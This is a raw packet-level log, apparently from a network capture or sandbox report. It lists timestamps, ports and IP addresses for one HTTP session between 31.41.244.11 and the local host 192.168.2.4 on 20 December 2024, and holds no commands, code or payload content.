Dec 20, 2024 04:12:35.597887993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.597942114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.598037004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.598377943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.598440886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.598479033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.598548889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.599067926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.599175930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.599189997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.599288940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.600102901 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.600183010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.600218058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.601147890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.601262093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.601294041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.601356983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.602159977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.602273941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.602406979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.603208065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.603329897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.603513002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.604243040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.604290009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.604617119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.605284929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.605391979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.605423927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.606300116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.606350899 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.606400013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.606460094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.606461048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.607311010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.607438087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.607439995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.607495070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.608354092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.608484030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.608514071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.609108925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.609386921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.609503984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.609783888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.610425949 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.610702038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.611463070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.611480951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.611561060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.611624956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.611746073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.612484932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.612540960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.612597942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.613514900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.613544941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.613621950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.613936901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.614542007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.614651918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.614707947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.615557909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.615672112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.616626024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.616672993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.616760969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.616981030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.617635965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.617711067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.617749929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.617789984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.618662119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.618729115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.618766069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.619426012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.619700909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.619750977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.619792938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.619911909 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.620737076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.620841980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.620914936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.621761084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.621860027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.621942997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.622788906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.622881889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.623826027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.623857975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.623923063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.624860048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.624891043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.624954939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.625931025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.625966072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.626019955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.626954079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.627002001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.627130985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.627973080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.628002882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.628076077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.629004002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.629036903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.629106998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.629937887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.630008936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.630110979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.631038904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.631073952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.631145954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.632076025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.632107973 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.632185936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.633109093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.633137941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.633143902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.633917093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.634152889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.634273052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.634593010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.635174990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.635231972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.635293961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.635468006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.636199951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.636255980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.636296034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.636528015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.637234926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.637301922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.637336016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.637943983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.638284922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.638369083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.638842106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.639288902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.639434099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.639470100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.640347004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.640454054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.640466928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.640558958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.641365051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.641450882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.641484022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.641537905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.642446995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.642682076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.643433094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.643544912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.643575907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.644454956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.644577026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.644608974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.645483971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.645615101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.645648003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.646521091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.646553993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.646589041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.647548914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.647599936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.647655010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.648586988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.648617983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.648705006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.649656057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.649683952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.649703979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.649933100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.650650024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.650758028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.651650906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.651684999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.656779051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.789923906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.790015936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.790134907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.790414095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.790502071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.790512085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.790693998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.791428089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.791480064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.791851044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.791898012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.791939020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.792036057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.792850971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.792896986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.792926073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.793179989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.793869019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.793982983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.794009924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.794939995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.794977903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.795017958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.795207024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.795928001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.796031952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.796036005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.796118021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.796996117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.797101974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.797135115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.797228098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.798000097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.798089027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.798103094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.798247099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.799138069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.799295902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.799370050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.800121069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.800198078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.801172972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.801223040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.801286936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.801934958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.802136898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.802254915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.803201914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.803400040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.804218054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.804322004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.804744005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.805306911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.805372953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.805407047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.806291103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.806324005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.806385040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.807360888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.807396889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.807435989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.808336973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.808377981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.808439970 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.809355974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.809386015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.809564114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.809933901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.810379982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.810487032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.811431885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.811479092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.811501980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.812477112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.812513113 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.812555075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.813478947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.813510895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.813549995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.813930988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.814557076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.814587116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.815546036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.815578938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.815606117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.816586971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.816617012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.816667080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.817616940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.817647934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.817687988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.817944050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.818659067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.818839073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.819698095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.819730997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.819787025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.820702076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.820733070 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.820813894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.821096897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.821753979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.821851015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.821862936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.822839975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.822875023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.823035955 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.823813915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.823843002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.823857069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.824841976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.824871063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.824934959 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.825891018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.825925112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.826199055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.826237917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.826883078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.826914072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.826986074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.827931881 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.827965021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.828083992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.828953981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.828985929 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.829119921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.829916000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.829997063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.830086946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.831032038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.831069946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.831165075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.832067966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.832113981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.832129002 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.833075047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.833107948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.833170891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.833918095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.834096909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.834197998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.835129023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.835161924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.835216045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.836168051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.836199999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.836215973 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.837207079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.837236881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.837305069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.837945938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.838236094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.838335991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.838422060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.839267015 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.839380980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.840065002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.840310097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.840420961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.840737104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:35.841329098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:35.841471910 CET	80	49838	31.41.244.11	192.168.2.4
